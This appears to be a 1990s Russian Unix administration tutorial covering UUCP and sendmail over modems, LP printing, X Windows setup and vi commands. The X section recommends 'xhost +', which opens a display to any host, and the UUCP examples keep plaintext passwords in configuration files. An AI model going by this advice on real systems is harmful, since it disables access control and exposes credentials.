!                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
====================

--
Craig Richmond.  Computer Officer -  Dept of Economics (morning) 380 3860
  University of Western Australia    Dept of Education (afternoon)   2368
craig@ecel.uwa.edu.au Dvorak Keyboards RULE!  "Messes are only acceptable
if users make them.  Applications aren't allowed this freedom" I.M.VI 2-4
.
        &dDUUCP; - Unix to Unix Copy&d;@

Система пересылки файлов по телефону.

Если  uucp  правильно  сконфигурировано,  то  его использование
выглядит примерно так:

   uucp -r moj_fajl  'pulsar!fajl_tam'

перешлет  moj_fajl  на  удаленную  машину  pulsar. Хотя, скорее
всего не  сделает,  из-за  ограничений  на  права  доступа.  А,
впрочем, такая команда скорее всего сработает:

   uucp -r moj_fajl  'pulsar!~'

через некоторое время этот файл вы сможете обнаружить на машине
pulsar в каталоге

    /usr/spool/uucppublic/

в этот каталог разрешено копирование с удаленных машин, для не-
го используется специальное обозначение: "~"

Пусть вас не удивляет, что в команде uucp  использовались  оди-
нарные  кавычки.  Они  нужны, чтобы заэкранировать "!" и "~" от
вашего командного интерпретатора ksh или bash. Ключ -r в коман-
де uucp нужен, чтобы НЕ ЗАСТАВЛЯТЬ нашу машину немедленно начи-
нать звонить на pulsar. Она сама  позвонит,  в  предусмотренное
для этого время.

uucp поддерживается на двух уровнях:
  1. Пользовательский. Это команды uucp - постановка файла
в очередь на удаленную пересылку, и uux - постановка
в очередь на пересылку удаленной команды.

 2.  Системный.  Периодически,  автоматически запускается демон
uucico - (UUCP Copy in Copy out). Он созванивается с удаленными
машинами  по  телефону.  На  удаленной машине также запускается
"встречный" демон uucico. Наш демон "проталкивает" на удаленную
машину  все файлы, которые к этому времени накопились в очереди
на отправку туда. После этого  он  "принимает"  файлы,  которые
приготовила  для  нас  удаленная  машина (их к нам проталкивает
"встречный" демон uucico, а наш принимает). После  этого  сеанс
uucico  заканчивается.  А  пользователи обнаруживают, что у них
возникли новые файлы.

   Предполагается, что системные администраторы на нашей  и  на
удаленной  машине не забыли правильно описать и проконфигуриро-
вать систему UUCP.

        &dD;Конфигурация нашей машины как UUCP клиента.&d;@

После этого наша машина сможет звонить на  удаленные  машины  и
посылать/забирать оттуда файлы. Для этого мы должны задать:

1. Наше собственное UUCP имя.
2. Имя(имена) удаленной(ых) UUCP системы.
3. Телефонный номер(а), по которому нужно туда звонить.
4. Login и пароль, которые выделены там для нашего uucp-account'а.
5. Порт, к которому подключен наш модем.
6. Наборщик - описание "AT" команд для управления нашим модемом.

Эти данные задаются в нескольких конфигурационных файлах, кото-
рые должны лежать в каталоге /etc/uucp/ (или   /usr/lib/uucp/ ,
или    /usr/lib/uucp/taylor_config  )  (или   в   каком  нибудь
другом, см. man uucp для более точной информации). Это файлы:

Config          #   задает имя нашей машины (и многое другое) ;
Systems         #   описывает удаленные uucp-системы: имя,  но-
                #   мер телефона, uucp-logname, uucp-passwd ;
Devices         #   порты, к которым подключены модемы.
Dialers         #   описывает  модемы-наборщики (систему AT-ко-
                #   манд).
(А в Linux они называются: config, sys, port, dial)

Итак, представим  классический случай. У вас один Hayes-совмес-
тимый  модем  V32/V42bis   на   14400  baud  (GVC,  ZyXEL,  US-
Robotics...), подключенный к последовательному порту /dev/modem
(если у вас  порт называется /dev/contty03, вам никто не мешает
сделать символический  линк  ln  -s /dev/contty03 /dev/modem не
так ли ?). Имя вашего узла fedfuru.

ВНИМАНИЕ.  На большинстве Unix-ов выделены раздельные специаль-
ные файлы для одного и того-же порта: терминальная  линия  (для
подключения  терминала  или  модема, НА который будут звонить -
используется для getty или ttymon), и линия с модемным управле-
нием,  на  выход  -  например, чтоб звонить НАРУЖУ модемом. Эти
специальные файлы и называются по разному, например:

SunOS:   /dev/ttyy01   IN, /dev/ttyz01  OUT
Linux:   /dev/ttyS1    IN, /dev/cua1    OUT
ISC:     /dev/ttyFD01  IN, /dev/ttyFM01 OUT
SVR4/88: /dev/contty00 IN, /dev/??????? OUT

###следующий абзац написан "мелким шрифтом"(можно не читать)###
На самом деле все не совсем так. Цитирую Linux-Serial-HOWTO:
> There has been some discussion  on  the  merits of /dev/mouse
> and /dev/modem. I strongly discourage the use of these links.
> In particular,  if you are planning  on using your  modem for
> dialin you will run into problems because the lock files will
> not work correctly if  you  use /dev/modem. Also, Taylor UUCP
  does not support symlinks either. Однако uugetty позволяет
  корректно отрабатывать эту ситуацию. См. параметр ALTLOCK в
  /etc/defaults/getty файле.
################_конец_"мелкого шрифта"_#######################

  Вам  надо подключиться к двум uucp-узлам:
1: Узел Релком, имя узла kiae, телефоны:  9469984,  9469994. Вы
   зарегистрированы там под именем/паролем uufedurp/ABCd8
2: Ваше  московское  отделение,  имя узла fedfond, телефон 095-
   125-7623.  Вы  зарегистрированы   там   под   именем/паролем
   uufedurp/KLmn10

В каталоге /etc/uucp редактируем файлы Systems, Devices, Dialers

Systems: ------- Удаленные машины -----------------------------
kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin:
                                   uufedurp ssword: ABCd8
fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin:
                                   uufedurp ssword: KLmn10

Devices: --------------- Описание портов ----------------------
modem1 contty03 - 19200 gvc1440

Dialers: --------------- Команды модемов ----------------------
gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c

---------------- Это все --------------------------------------

###следующий абзац написан "мелким шрифтом"(можно не читать)###
А дальше идет описание Taylor-uucp. Проблема в том, что в стан-
дартной поставке SVR4/88 _нет_ Taylor-uucp, а  есть только т.н.
HoneyDanBer-uucp,  он  же  BNU  (Basic  Networking  Utilities).
Taylor новее и гибче, к тому же поддерживает два формата конфи-
гурационных файлов  -  традиционный  (Config, Systems, Devices,
Dialers, ...)  и свой (config, sys, port, dial, ...). Есть кон-
вертер туда-обратно.  В  Linuxе  Taylor-uucp скомпилирован так,
чтобы      сначала       искать      Taylor-конфигурацию      в
/usr/lib/uucp/taylor_config/,  если  там ничего  нет  -  искать
HDB-конфигурацию  в   /usr/lib/uucp/hdb_config/.  IMHO  главный
изъян HDB - невозможность указывать альтернативные номера теле-
фонов.
################_конец_"мелкого шрифта"_#######################

###следующий абзац написан "мелким шрифтом"###
Если вы используете не устаревший BNU-uucp, а Taylor-uucp 1.05:
В каталоге /usr/lib/uucp/taylor_config создаем файлы config,
sys, port, dial следующего содержания:
/* Примечание: в дистрибутивах RedHat Linux конфигурационные файлы
uucp должны лежать в /etc/uucp/ */

config: -------------------------------------------------------
uuname     fedfuru        #  Наше собственное имя

sys: ------- Удаленные машины ---------------------------------
system kiae          # Узел Релком ############################
myname fedfuru
time Any
port  modem         # Имя описания порта в файле port
speed 38400
chat  ogin:-BREAK-ogin: uufedurp ssword: ABCd8
phone 946-9984
alternate            # Второй телефонный номер.
phone  946-9994

system fedfond       # Московское отделение ##################
time Any
myname   fedfuru
port  modem         # Имя описания порта в файле port
speed 38400
chat  ogin:-BREAK-ogin: uufedurp ssword: KLmn10
phone 8w095-125-7623

port: --------------- Описание портов ------------------------
port    modem       # Обозначение порта  из файла   sys
type    modem
device  /dev/modem
speed   38400
dialer  gvc1440      # Имя наборщика-модема в файле  dial

dial: --------------- Команды модемов ------------------------
dialer     gvc1440   # Обозначение наборщика из файла  port

# Строка инициализации модема.
# Вместо \T будет подставлен телефонный номер
chat       "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT
# ATZ - загрузить profile 0
# ATH0 - повесить трубку
# ATE0 - no echo
# ATQ0 - выводить код возврата

chat-fail  BUSY                # Воспринимать как ошибку набора
chat-fail  ERROR
chat-fail  NO\sCARRIER
chat-fail  NO\sDIALTONE
---------------------------------------------------------------
################_конец_"мелкого шрифта"_#######################

Все.  Клиентская  часть  UUCP  сконфигурирована.  Теперь, чтобы
"протолкнуть"   посланные   файлы,   достаточно    периодически
выполнять команды:

uucico -s kiae
uucico -s fedfond

А  еще  лучше,  добавить  эти  команды  в  crontab,  чтобы  они  выполнялись
автоматически, по несколько раз в сутки.

        &dD;Конфигурирование UUCP с использованием sysadm&d;@.

Все вышеперечисленные настройки можно сделать, используя утили-
ту   системного   администратора  sysadm.  Надо  войти  в  меню
network_services / basic_network

        &dD;Конфигурирование серверной части UUCP.&d;@

Итак, мы уже можем звонить на чужие машины, и пересылать на них
файлы. Теперь нужно сделать, чтобы чужие машины (клиенты) могли
звонить нам. Для этого нужно:

1: Иметь  описание звонящей нам uucp-системы в файле Systems  -
   для клиента такое же, как и для сервера.
2: Проверить права доступа для клиента в файле Permitions
2: Завести для него специальный uucp-login
3: Убедиться, что модем стоит в "Auto-answer" режиме, и на порт
   /dev/modem  запущена программа getty (или ttymon), позволяю-
   щая логиниться по телефону на порт /dev/modem

1.  Описание  добавляется  в  файл  Systems,  (номер телефона и
    название   порта   не   обязательны),  если  мы  сами    не
    собираемся туда звонить, но я бы посоветовал их вписать, для
    единообразия.

2. В файле /etc/passwd завести строчку вида:

uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico

   выполнить команды:
pwconv
passwd uupetrov

3. Любой терминальной программой "войти" в модемный порт и  вы-
   полнить команды

atz0         # Загрузить пользовательский profile 0
ats0=1       # Регистр0=1 - снимать трубку после 1-го звонка
at&w0;        # Сохранить текущий setup в profile 0
at&y0;        # Чтобы при включении питания загружался профайл 0

# at&f;       # загрузить заводские установки, если вы запутались
             # с профайлами, можно сделать модему "reset"

Ввиду   отсутствия   коммуникационных   программ   в  SVR4  (за
исключением сумасшедшего "cu"), используйте "echo".

     echo atz0   > /dev/modem
     echo ats0=0 > /dev/modem
     echo at&w0;  > /dev/modem         # и так далее

А еще лучше gold, там есть режим прямой связи с любым портом.

4. В файле /etc/inittab иметь строчку вида:

c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem   -l contty


        &dD;Что где лежит в системе UUCP.&d;@

/usr/bin/uucp     - переслать файлы с/на удаленную uucp-систему
/usr/bin/uux      - выполнить команду на удаленной uucp-системе
/usr/bin/uustat   - статистика по выполненным пересылкам

/usr/lib/uucp/uu* - системные утилиты UUCP

/etc/uucp/              - каталог  конфигурационных файлов UUCP

  /usr/lib/uucp/taylor_config    - конфигурация UUCP в Linux
  /usr/lib/uucp/                 - конфигурация UUCP в других
                                   системах

/var/spool/uucppublic     - каталог в который можно  пересылать
                            файлы с удаленных машин

/usr/spool/mqueue         - очереди отправляемой электронной почты
   /usr/ucblib/mqueue     - или здесь эта очередь ?
/var/spool/uucp/"машина"  - очередь файлов на отправку на "машину"
/var/spool/uucp/.Log      - статистика о работе uucp

        &dD;Осталось настроить нашу электронную почту.&d;@

Если у вас самый простейший случай: вся ваша почта проходит че-
рез один "знающий" host, с которым вы соединены по uucp, то на-
до в файле /etc/sendmail.cf иметь такую строку:

. . .
# "Smart" relay host (may be null)
DSuucp-dom:kiae
. . .

В  этом  случае  вся  ваша  внешняя почта (т.е. отправляемая за
пределы вашей локальной сети) будет переправляться по  uucp  на
uucp-узел  "kiae"  и  дальнейшей  ее  доставкой  будет озабочен
именно kiae. Предполагается, что он успешно  справится  с  этой
задачей.

А  еще  чтобы  было  описание  uucp-dom  (ниже в том же файле).
Кстати, чтобы всех окончательно запутать, sendmail.cf на  Motoн
role лежит вовсе не в /etc/, а в /usr/ucblib/.

Если у вас какой-либо другой случай - то это -  тяжелый случай.
Дерзайте, успехов вам!

# И надо сделать, чтоб сендмаил не отрезал 8-й бит у посылаемой почты
# Если sendmail8.x.x, то в sendmail.cf:
# strip message body to 7 bits on input?
O7False


# А еще бывает, что sendmail не знает, как правильно называется
# наша машина. Тогда мы пишем что-то в таком стиле:

Cwlocalhost feduru.urup.ru feduru.mss.ru

        &dD;Проверка работоспособности и отладка конфигурации.&d;@

Для начала проверим, правильно ли подсоединен модем.
Запускаем программу cu - эмулятор терминала.

   cu -l /dev/modem    # Или как там у вас этот порт называется

После этого вы  переключитесь на работу со своим модемным  пор-
том.  Все, что вы  будете набирать с клавиатуры, будет перенап-
равляться в порт /dev/modem , все, что "приходит" с  этого пор-
та, будет  рисоваться  на  вашем  терминале. Попробуйте модемом
набрать телефонный номер

   atdp100

Проверьте, правильно  ли сконфигурирован "порт" модема и описа-
ние системы в файле Systems.

   cu pulsar

Проверьте права доступа к файлам /dev/modem, /dev/contty*. Дол-
жно быть (???):

 crw-rw----   1 root     uucp       ...         /dev/contty0
 crw-rw----   1 root     uucp       ...         /dev/modem

Запустите uucico  с  максимальным уровнем выдачи отладочной ин-
формации. Запускать надо из под пользователя uucp

   /usr/lib/uucp/uucico -r1 -x9 -f -s pulsar
   /usr/lib/uucp/uucico -x all -f -s kiae

А затем посмотрите на  содержание  файлов со статистикой uucp в
каталоге /var/spool/uucp :

   .Admin/audit.local
   .Log/
   .Status/
   ERRLOG
   LOGFILE
   SYSLOG

Например, такой командой

   tail -f /var/uucp/.Admin/audit.local &
   tail -f /var/uucp/.Log/uucico/kiae

        &dD;По результатам переписки&d;@.

###следующий абзац написан "мелким шрифтом"(можно не читать)####
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517                  St. Petersburg, Russia
> Навешал фильтров на sendmail, rmail,
> а вот это непонятно. Или они научились все из кои8 в исо пере-
> ворачивать на лету ?

Нет, конечно,  потребовалось  лечить.  Дело сильно упростило то
обстоятельство, что  внутри  сети везде ISO. Перекодировать по-
этому мне надо только то, что идет через UUCP, то  бишь наружу.
Для этого пришлось:

1. Поправить sendmail.cf:

# RelCom UUCP - with ISO 8859-5 to KOI-8 translation
Muucp-koi, P=/usr/local/bin/_uux, F=mDFMhu, S=52/31, R=21, M=100000,
                   ^^^^^^^^^^^^^^^^^^^ мой, см. ниже
           A=_uux - -r -a$f -gC $h!rmail ($u)

2. Сделать /usr/local/bin/_uux из трех строк:
#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/iso-koi | /usr/bin/uux $*

(iso-koi - понятно какой фильтр)

Это все, на самом деле, весьма грязный hack - вряд ли стоит его
включать в учебник. Оно, конечно,  работает,  но  вот  надо  по
крайней  мере еще и правильный код возврата как-то обеспечить -
с проверкой ошибок и прочими фенечками.

     Чтобы принимаемая почта из KOI превращалась в ISO, достаточно:

1. Переименовать rmail в /usr/local/bin/__rmail;
2. Сделать свой rmail, тоже из трех строчек:

#!/bin/sh
PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin:
/usr/local/bin/koi-iso | /usr/local/bin/__rmail $*

Вышеуказанную экзекуцию  надо производить именно над rmail, по-
тому что rbmail проверяет контрольные суммы.

А вот rbmail в SVR4/88 совсем нет. Надо искать исходники, соби-
рать... А RelCom (по крайней мере  мой  провайдер)  именно  его
пользует. Это  третья  причина  (после отсутствия Taylor-uucp и
удобного Mail-user агентa),  по которой  я  не  стал  поднимать
uucp/e-mail на Motorolе.

--
Dmitry Mayorov Compulsory Health Insurance Fund
Phone: +7 (812) 112-3517                 St. Petersburg, Russia
        -- Конец цитаты --
################_конец_"мелкого шрифта"_#######################

        &dDSolaris;: настройка uucp по direct line&d;@

В файле Systems на Солярке удаленная машина описывается так:

ranisi Any  dirt06 9600 unused "" P_ZERO "" \n\c ogin:-\n\c-ogin: uuintra\n\c ssword: parolf9f10\n\c "" P_ZERO

     По сравнению с нормальным tailor-uucp престарелый соляркин
по прямому кабелю выкинул несколько фортелей:

     Не захотел идти наружу с 38400, пришлось ставить 9600
     Посылаемый  ^M  в  конце  каждой строки chat-а принимающий
Linux понимать отказался, пришлось делать в конце \n\c
     Работать  стал  только с насильственно взведенным P_ZERO -
"no parity" - без этого на приеме  вместо  латиницы  получалась
8-битная русица.


В uucp-овый crontab ставим раз в 5 минут вызов uucico

0,5,10,15,18,20,25,30,35,40,45,50,55 * * * * (\
/usr/lib/uucp/uucico -r1 -f -s ranisi ; sleep 30 ; \
/usr/lib/sendmail -q ) > /dev/null 2>&1

     У солярного uucico не оказалось ключа "force" redial (-f -
совсем не тот форце, которого хотелось мне)


        &dD;Чтоб заставить uucico ходить на телнетовский порт&d;@
> в логах наблюдается откровенный мусор: \177}\030\177} \177}#\177}

     port type pipe
     port command /bin/telnet -8E hostname

        &dDSecure; uucp по tcp&d;@

&dD;Вариант 1. port type tcp with ssh-port forwarding&d;@

НА СЕРВЕРЕ: конфигурите uucp-tcp-сервер с localhost

/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l

/etc/hosts.allow :
uucico: 127.0.0.1

# uucico желает его читать, а работает он с uid uucp - приходится дать read
chmod og+r /etc/hosts.allow

/etc/uucp/passwd : propisatx uu-логин, пароль _нешифрованный_
uuyourlogin yourpasswd

НА КЛИЕНТЕ: коннект будете делать на localhost, а ssh делает его проброс

/etc/inetd.conf :
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/sbin/uucico -l

/etc/hosts.allow :
uucico: 127.0.0.1

/etc/uucp/port : описать порт tcp-connect
port    tcp-connect
type    tcp
service 540

/etc/uucp/sys : добавить тип порта
. . .
port    tcp-connect
address 127.0.0.1
chat    ogin: \L ssword: \P
alternate
. . .

"Перед употреблением" запускаем из под root ssh с активизированным forward
ssh1 -C -L 540:127.0.0.1:540 193.232.173.6
.
        &dD;Система печати в Unix. LP spoolling&d;@
          (описана система печати в System V)

     Печатать,  конечно,  можно и так: cat file > /dev/lp. Но в
многопользовательской системе такой фокус  не  всегда  пройдет.
Поэтому печатаемый файл ставят в очередь на печать.

     Имеем принтер. У принтера есть
     ИМЯ_ПРИНТЕРА - придумывается администратором.
     ПОРТ_ПРИНТЕРА   -   специальный   файл   в   который  надо
выталкивать данные для печати.
     ИНТЕРФЕЙСНАЯ_ПРОГРАММА  -  программа,  которая  как  раз и
будет этим заниматься.

     Если  у  нас  нормально  сконфигурена  система  печати, то
печататься можно так:

    lp -d ИМЯ_ПРИНТЕРА  file
        или,  если мы хотим напечатать на "default" принтере
    cat file | lp

    lpstat          Посмотреть в каком состоянии очередь печати

    cancel [идентификатор_запроса ...] [принтер ...]
                    Срубить запрос на печать

     lp  просто  складывает  файл в SPOOL КАТАЛОГ. ДЕМОН ПЕЧАТИ
lpsched обнаруживает  вновь  поступивший  файл,  ставит  его  в
очередь  на печать, и, когда очередь доходит, запускает наконец
ИНТЕРФЕЙСНУЮ ПРОГРАММУ, вход  которой  берется  из  печатаемого
файла, а ее вывод перенаправляется на ПОРТ_ПРИНТЕРА.

        &dD;Подключить к системе новый принтер&d;@

---------------------------------------------------------------
    lpshut    # на время реконфигурации надо "гасить" lpsched
    lpadmin -pLJ_printer -i/usr/lib/lp/model/lj_print -v/dev/lpt2
            или
    lpadmin -pNash_Nowyj_Printer -mstandard -v/dev/contty
    enable  Nash_Nowyj_Printer
    accept  Nash_Nowyj_Printer
    lpsched   # после реконфигурации надо вновь запустить lpsched
---------------------------------------------------------------
  accept - позволяет ставить в очередь печать на этом принтере
  enable - разрешает печатать стоящие в очереди задания

  ключи команды lpadmin
        -pИмя_Нового_Принтера
        -vПОРТ_ПРИНТЕРА
        -iИНТЕРФЕЙСНАЯ_ПРОГРАММА -  маршрутное  имя программы,
                                     которая печатает
        -mМОДЕЛЬ_ПРОГРАММЫ   -  имя "модели"  такой  программы,
                                лежащей  в  каталоге
                                /usr/lib/lp/model
        -o nobanner          - разрешить userу писать lp -o nobanner
              (рекомендую ампутировать banner в интерфейсном скрипте)
        -d printer           - сделать принтером по умолчанию
        -?Удаленный_хост     - можно подключать принтер удаленной машины
        -?Имя_принтера_на_удаленном_хосте
         (ключи не помню, посмотреть в man)
        -s host!printer - для Solaris - подключение удаленного принтера
                          # перед этим вписать принтер в /etc/lp/Systems
     Вместе   с   системой   накопления   вывода   на  принтеры
поставляются образцы интерфейсных  программ.  Они  представляют
собой shell-процедуры, перекодирующими печатаемый файл в формат
соответствующего принтера.


        &dD;Примеры&d;@

lpadmin -pstar1 -i/udd/print/inter -v/dev/xpit0    # локальный принтер
lpadmin -pstar1 -mdumb -v/dev/lpt1

&dD;Подключить к системе удаленный принтер&d;@
(ключи варьируются для разных версий Unix)
HP-UX:
    lpadmin -pLJ_printer  -?host -?printer
Solaris:
    вписать удаленную машину в /etc/lp/Systems а затем
    lpadmin -pLJ_printer  -s 'host!printer' ; accept LJ_printer

lpadmin -dstar1                          # Установить принтером по умолчани`

lpadmin -xstar1                          # Ликвидировать принтер star1

        &dD;Файлы&d;@

/usr/lib/lp/model     #  Образцы интерфейсных программ (модели)

/etc/lp               #  Каталог конфигурации системы LP

/var/spool/lp/*       #  Каталоги с очередями

man lpadmin           #  Естественно!
.
        &dD;Графическая оболочка X-Windows System&d;@

     Для  начала  немного истории и общих мест. Представим, что
нам  нужно  написать  программу,  которая  будет   работать   в
графическом  режиме.  Нам  потребуется:  опрашивать клавиатуру,
снимать события и координаты мыши, рисовать на экране, ...  Как
это  делалось  на  MS-DOSе?  Очень  просто.  Пишем одну большую
программу, в ней -  все:  и  логика,  и  обработка  событий,  и
слежение  за  перемещениями  мыши, ну, а когда требуется что-то
нарисовать, мы даем команду на запись в порты EGA  контроллера,
рисуем пиксел... Через год появляется контроллер VGA, еще через
год SVGA 800x600, 16 цветов, вслед за ним  UVGA  1024x768,  256
цветов, затем XGA 1280x1024, 16Мб цветов...

        &dD;Основная идея X Windows&d;@.

     Имеем  две  независимых  программы. Одна умеет рисовать на
графическом мониторе, и вообще, обслуживать все это железо. Она
называется  X-сервер.  Вторая  программа - называем ее клиент X
Windows, рисовать физически  не  умеет.  Зато  она  знает,  что
именно  надо  рисовать,  и  умеет  командовать.  Команды  типа:
"нарисовать прямоугольник", "провести линию",  "открыть  окно",
"вывести  символ в заданном фонте", "опросить координаты мыши",
и т.п. передаются X-серверу,  а  тот  их  исполняет  -  рисует.
Формат     и    спецификации    этих    команд    опубликованы,
стандартизованы, и широко известны. Все вместе  они  называются
"Протокол X Windows".

        Итак, повторим.

     X-сервер.   Программа,  которая  написана  специально  под
конкретное физическое устройство (имеется  в  виду  -  монитор,
графконтроллер,  мышь  и  клавиатура), умеет на нем рисовать, и
умеет понимать команды рисования по протоколу X Windows System.

     X-клиент. Прикладная программа, обеспечивающая графический
интерфейс с пользователем.  Команды  для  рисования  на  экране
передает X серверу по протоколу X Windows System.

     X-терминал.    Ящик    (монитор,   графконтроллер,   мышь,
клавиатура, ну и, естественно, процессор и оперативная память),
на  котором  запущена  программа  X-сервер.  X-терминалом может
служить самая обыкновенная графическая Unix-рабочая станция, на
которой  X  сервер  выполняется,  как одна из многих прикладных
задач.   Специализированный  X-terminal  -  ящик,  на   котором
запускается только X сервер, и ничего кроме. Можно использовать
PC под MS-DOSом,   на  котором  запущена  DOSовская  программа,
реализующая X сервер.

     Xlib  - библиотека C-ишных функций, реализующих протокол X
Windows  System.  С  помощью  этой  библиотеки   можно   писать
графические программы - X-клиенты.

        Что мы с этого имеем.

Мы   получаем   универсальный  GAPI  -  (Graphical  Application
Programming Interface) - средство программирования  графических
приложений.  Пользовательские  графические  программы  при этом
полностью отвязаны от железа, от  конкретного  графконтроллера.
О железе пусть беспокоится X-сервер.

Протокол  X Windows умеет "ездить" по сети: например по TCP/IP,
или по  DEC-net.  Поэтому  Xсервер  может  крутиться  на  одной
машине,  а  X-клиент - на другой. То есть, картинка рисуется на
одной машине, а программа, которая ее обеспечивает  -  крутится
на другой.

X-сервер способен обслуживать сразу много клиентов, причем всех
- одновременно. На нашем графическом экране может быть  открыто
сразу  много  окон  - каждое окно порождается его собственным X
клиентом. Клиенты эти могут быть запущены и на нашей машине  (к
которой  подключена графическая подсистема), и на удаленных ма-
шинах, соединеннных с нами по сети.

        Чего нам это стоит.

Понятно чего. Ресурсов. X Windows очень любит ресурсы - память,
процессор, диск.  Способен  съесть их в неограниченных количес-
твах. А еще ведь надо программировать. (К счастью,  не всем на-
до). Кто видел, как выглядят программы для MS  Windows или Mac,
может представить  себе  внешний  вид  исходных  текстов X-овой
программы.

        &dD;Как это запускается&d;@.

Пусть в  нашей сети есть машина  с графической подсистемой  и X
сервером, и сетевой адрес этой машины pcat107.foms.msk.ru

 на pcat107 нужно выполнить команду:

    xhost +    # разрешить X-овым программам с ЛЮБОЙ машины
               # рисовать на экране машины pcat107

Запускаем на нашем  компьютере  X-овую программу, так, чтобы ее
окошко рисовалось  на  мониторе  pcat107.  Для   этого на нашем
компьютере нужно выполнить команду:

    xterm -display pcat107:0.0 &

        &dD;Библиотеки, Motif, и война круглых и квадратных кнопок&d;@.

Можно  писать  X-овые  программы,  используя  библиотеку  Xlib.
Многие так и пишут, хотя это весьма тяжело - уж больно  невысок
уровень  Xlib'а.  В помощь программистам было создано несколько
toolkit'ов - библиотек более высокого уровня, в которых  реали-
зованы  различные  widget'ы.  Widget  -  непереводимый термин X
Windows.   Склеен   из   двух   слов   -   Window   и    Gadget
(приспособление),  является графическим объектом с привязанными
к нему свойствами и реакциями на действия пользователя. Примеры
widgetow:  "кнопка",  "менюшка",  "окошко  с текстом", "линейка
прокрутки",...

Известны следующие toolkit'ы:

Xaw    -
          Anthena  Widgets.  Очень черно-белый,  очень плоский,
          весьма небогатый. Зато - бесплатный. Посмотрите,  как
          выглядят программы xterm, xedit,  xman.  Они сделанны
          на Xaw.

xview  -
          Набор библиотек и объектов, использованных в реализа-
          ции набора пользовательских  утилит Sun-овской версии
          X Windows  - "Open Windows". Весьма симпатично. Круг-
          лые  кнопки,  "шприцы-иголки" (замечательная  вещь!),
          очень  хорошо  продуманный интерфейс  пользователя, в
          том числе  активно используемая трех-кнопочная  мышь.
          Исходные тексты библиотек xview открыты, предоставля-
          ются бесплатно.  Однако  набор DeskSet - 15 пользова-
          тельских утилит входящих в OpenWindows, сделанный  на
          библиотеке xview,  SunSoft готов предоставить  только
          за плату. В бинарном  виде  - весьма дешево ($100). В
          исходных текстах - весьма дорого ($200K)

Motif -
          Библиотека поставляются организацией OSF за не совсем
          маленькую плату. Исходные  тексты библиотек недоступ-
          ны, либо чрезмерно дороги. Кнопки -  квадратные, да и
          вообще Motif'овские приложения  до безобразия напоми-
          нают MS  Windows (что, IMHO, является серьезным прес-
          туплением)

В борьбе BSD и Unix V победил, как известно, System V, а в вой-
не круглых и квадратных кнопок выиграл Motif.

        &dD;Конфигурирование X Windows&d;@

В Linux используется X11 в реализации XFree86.
Чтобы его сконфигурировать, выполните команду
xf86config

        &dD;Запуск X Windows&d;@.

     На  некоторых  машинах  он сам запускается. А также иногда
удается запустить его вручную командами: startx и/или openwin

        Solaris:

1. Установите переменные окружения:

OPENWINHOME=/usr/openwin                 export OPENWINHOME
LD_LIBRARY_PATH=/usr/openwin/lib         export LD_LIBRARY_PATH
PATH=/usr/openwin/bin:$PATH              export PATH
XAPPLERESDIR=/usr/openwin/lib/app-defaults export XAPPLERESDIR

2. Запустите X Windows командой

  openwin

        "Нормальные" Unix'ы:

1. Установите переменные окружения:

PATH=/usr/bin/X11:$PATH
XAPPLERESDIR=/usr/lib/X11/app-defaults

2. Запустите X Windows командой

   startx

        "Ненормальные" Unix'ы (Unixware).

     Когда  регистрируете  пользователя, ответьте Yes на вопрос
"Хотите графический DeskTop". Тогда  после  login'а  X  Windows
будет  запускаться автоматически. Если вы прозевали, и ответили
No, то никаким осмысленным способом  запустить  X  Windows  для
себя вам не удастся.

        &dD;Настройки пользовательского окружения X Windows&d;@

     При наличии пользовательских настроечных файлов, лежащих в
домашнем каталоге пользователя, используются они. Если их  нет,
используются   стандартные,   общественные,  обычно  лежащие  в
каталоге /usr/lib/X11 или /usr/openwin/lib

     Персональные  и  общественные  пользовательские  настройки
хранятся в файлах:

  $HOME/.Xdefaults
  $HOME/.OWdefaults
  /usr/lib/X11/Xdefaults
  /usr/openwin/lib/Xdefaults
  /usr/openwin/lib/app-defaults/*

После любых исправлений файл с ресурсами необходимо перезачитать:"

     xrdb -merge .Xdefaults

     Окружение  (desktop)  -  т.е.  программы, которые стартуют
автоматически при запуске X Windows находится в файлах:

     Solaris:

  $HOME/.openwin-init
  /usr/openwin/lib/openwin-init

    "Нормальнные" X windows:

  $HOME/.xinitrc
  /usr/lib/X11/xinit/xinitrc

     Настройки   window-manager'a  -  т.е.  -  поведение  окон,
менюшки пользователя, раскладка команд на клавиши мышки, ...

     Solaris:

  $HOME/.openwin-menu
  $HOME/.openwin-menu-*

  /usr/openwin/lib/openwin-menu
  /usr/openwin/lib/openwin-menu-*

     Linux

  $HOME/.fvwmrc
  /usr/lib/X11/fvwm/system.fvwmrc

.
        &dD;Редактор VI. Список команд&d;@
&dD;РЕЖИМЫ&d;@: Ввода == ESC ====> Командный == :Q ==> Редактора ed
            ^                  |     ^                |
            +----aAiIcCrRs <---+     +----- vi -------+

        &dD; &d;@       &dD;ПЕРЕМЕЩЕНИЕ ПО ФАЙЛУ&d;@
{стрелки},hjkl
^U/^D   табуляция вверх/вниз
^F/^B   страницу вниз/вверх
^E/^Y   подвинуться на строку вниз/вверх
w/b/e   вперед/назад на слово/в конец слова
W/B/E   вперед/назад на слово/в конец опробеленного слова
 (/)    назад/вперед на предложение
 {/}    назад/вперед на абзац
[[/]]   назад/вперед на функцию или секцию
%       найти парную скобку ( или {
{n}G    на строку {n}
{n}|    в колонку {n}
H/M/L   в начало/середину/конец экрана
z/z./z- текущую строку в начало/середину/конец экрана
^/$/0   начало/конец строки

        &dD; &d;@       &dD;РЕДАКТИРОВАНИЕ ТЕКСТА&d;@
x       уничтожить символ
X       забой
J       склеить строки

        &dD; &d;@       &dD;В РЕЖИМЫ ВВОДА&d;@
a/i / A/I       вставка за/перед _ / концом/началом строки
R       режим замены
r       буква на букву
s       буква на буквы
o/O     вставить строку под/над _
C$      Заменить конец строки

        &dD; &d;@       &dD;ИНФОРМАЦИЯ&d;@
